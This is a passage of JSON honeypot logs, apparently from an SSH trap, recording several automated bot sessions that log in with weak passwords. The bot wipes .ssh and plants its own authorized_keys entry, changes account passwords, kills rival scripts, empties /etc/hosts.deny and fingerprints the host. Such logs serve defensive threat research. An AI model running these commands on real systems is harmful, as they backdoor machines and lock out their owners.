\"root:1Ry2kjdEa9Zs\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:19:51.374494+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:19:51.699398+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:19:52.244897+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:19:52.581137+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:19:53.906509+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:19:54.235239+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:19:55.177647+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:19:55.504130+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:19:56.175449+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:19:56.499722+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:19:56.979200+00:00","kind":"output","latency_ms":null,"data":" 07:19:56 up 7 days, 4:10, 0 user, load average: 0.35, 0.27, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:19:57.302389+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:19:57.969455+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:19:58.293754+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:19:58.749494+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:19:59.074840+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:19:59.635899+00:00","kind":"output","latency_ms":null,"data":"top - 07:19:59 up 7 days, 4:10, 0 user, load average: 0.35, 0.27, 0.26\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:19:59.966067+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:20:00.467759+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:20:00.796200+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:20:01.082428+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:20:01.406587+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:20:02.138316+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:20:02.459274+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:20:03.440276+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:20:03.764646+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:20:05.071809+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"666999","method":"password","accepted":true,"tier":"other"}]} {"id":"0d6118a4-cf5f-4af8-8f8c-79841f70cd52","name":"upland-frank-kudu","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":44548,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":324,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:17:58.610375+00:00","ended_at":"2026-08-27T07:17:59.905550+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2212,"events":[{"seq":1,"at":"2026-08-27T07:17:38.899139+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:17:39.223902+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:17:42.612556+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:17:43.187137+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:17:43.510516+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1994\\nkQ7n2dHF6cR7\\nkQ7n2dHF6cR7\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:17:43.834416+00:00","kind":"input","latency_ms":null,"data":"echo \"1994\\nkQ7n2dHF6cR7\\nkQ7n2dHF6cR7\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:17:44.158070+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:17:45.010500+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:17:45.335617+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:17:46.778389+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:17:47.106082+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:17:48.470041+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:17:48.798181+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:17:49.665170+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:17:49.988467+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:17:50.779241+00:00","kind":"output","latency_ms":null,"data":" 07:17:50 up 7 days, 4:07, 0 user, load average: 0.2, 0.15, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:17:51.104198+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:17:51.931464+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:17:52.255494+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:17:52.909576+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:17:53.233365+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:17:53.825582+00:00","kind":"output","latency_ms":null,"data":"top - 07:17:53 up 7 days, 4:08, 0 user, load average: 0.2, 0.15, 0.16\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:17:54.150956+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:17:54.435178+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:17:54.760225+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:17:55.642648+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:17:55.967277+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:17:56.779295+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-27T07:17:57.103987+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:17:58.286719+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:17:58.611062+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:17:59.808299+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"1994","method":"password","accepted":true,"tier":"other"}]} {"id":"c4de592d-d981-43c0-96be-27978e9ac70d","name":"tranquil-lanky-petrel","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":53256,"username":"testuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:15:48.499839+00:00","ended_at":"2026-08-27T07:15:49.490791+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T07:15:30.260576+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:15:30.581741+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:15:34.149104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:15:34.648260+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:15:34.971960+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nngu1yTzvM8Vb\\nngu1yTzvM8Vb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:15:35.294753+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nngu1yTzvM8Vb\\nngu1yTzvM8Vb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:15:35.617432+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:15:35.868593+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:15:36.192768+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:15:37.163237+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:15:37.489234+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:15:38.667958+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:15:38.994304+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:15:39.607049+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:15:39.930255+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:15:40.499064+00:00","kind":"output","latency_ms":null,"data":" 07:15:40 up 7 days, 4:05, 0 user, load average: 0.12, 0.15, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:15:40.824256+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:15:41.388553+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:15:41.720200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:15:42.471595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:15:42.796266+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:15:43.431056+00:00","kind":"output","latency_ms":null,"data":"top - 07:15:43 up 7 days, 4:05, 0 user, load average: 0.12, 0.15, 0.08\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:15:43.755465+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:15:44.451700+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:15:44.778124+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:15:45.590921+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:15:45.916550+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:15:46.427063+00:00","kind":"output","latency_ms":null,"data":"testuser"},{"seq":29,"at":"2026-08-27T07:15:46.750754+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:15:48.176484+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:15:48.500580+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:15:49.394478+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"testuser","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"51612420-ba2f-48c7-a878-ddb7d8c68fa8","name":"rapid-orderly-reindeer","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":33730,"username":"florin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:13:39.204725+00:00","ended_at":"2026-08-27T07:13:40.379332+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2202,"events":[{"seq":1,"at":"2026-08-27T07:13:20.434427+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:13:20.758492+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:13:24.995046+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:13:25.649806+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:13:25.973938+00:00","kind":"input","latency_ms":null,"data":"echo -e \"florin123\\nVzplG0cWTQh0\\nVzplG0cWTQh0\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:13:26.296082+00:00","kind":"input","latency_ms":null,"data":"echo \"florin123\\nVzplG0cWTQh0\\nVzplG0cWTQh0\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:13:26.620120+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:13:27.082769+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:13:27.406478+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:13:28.386325+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:13:28.714552+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:13:29.956740+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:13:30.283124+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:13:31.021038+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:13:31.345023+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:13:31.842276+00:00","kind":"output","latency_ms":null,"data":" 07:13:31 up 7 days, 4:03, 0 user, load average: 0.26, 0.3, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:13:32.166123+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:13:32.701069+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:13:33.025575+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:13:33.622062+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:13:33.945157+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:13:34.586819+00:00","kind":"output","latency_ms":null,"data":"top - 07:13:34 up 7 days, 4:03, 0 user, load average: 0.26, 0.3, 0.29\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:13:34.910248+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:13:35.665277+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:13:35.989406+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:13:36.693521+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:13:37.017557+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:13:37.488026+00:00","kind":"output","latency_ms":null,"data":"florin"},{"seq":29,"at":"2026-08-27T07:13:37.812410+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:13:38.881726+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:13:39.205574+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:13:40.284062+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"florin","password":"florin123","method":"password","accepted":true,"tier":"other"}]} {"id":"abd3c6b5-7436-4da3-979d-4c48f8db5de7","name":"subtle-steady-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":42436,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:09:47.536725+00:00","ended_at":"2026-08-27T07:09:49.079769+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-27T07:09:28.306488+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:09:28.640585+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:09:33.694125+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:09:34.033469+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:09:34.367767+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tbxwGO0wiSgj\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:09:34.699846+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:09:35.032417+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:09:35.527609+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:09:35.860368+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:09:37.247462+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:09:37.582725+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:09:38.979666+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:09:39.316001+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:09:39.760661+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:09:40.096200+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:09:40.488729+00:00","kind":"output","latency_ms":null,"data":" 07:09:40 up 7 days, 3:59, 0 user, load average: 0.25, 0.24, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:09:40.824094+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:09:41.514319+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:09:41.847665+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 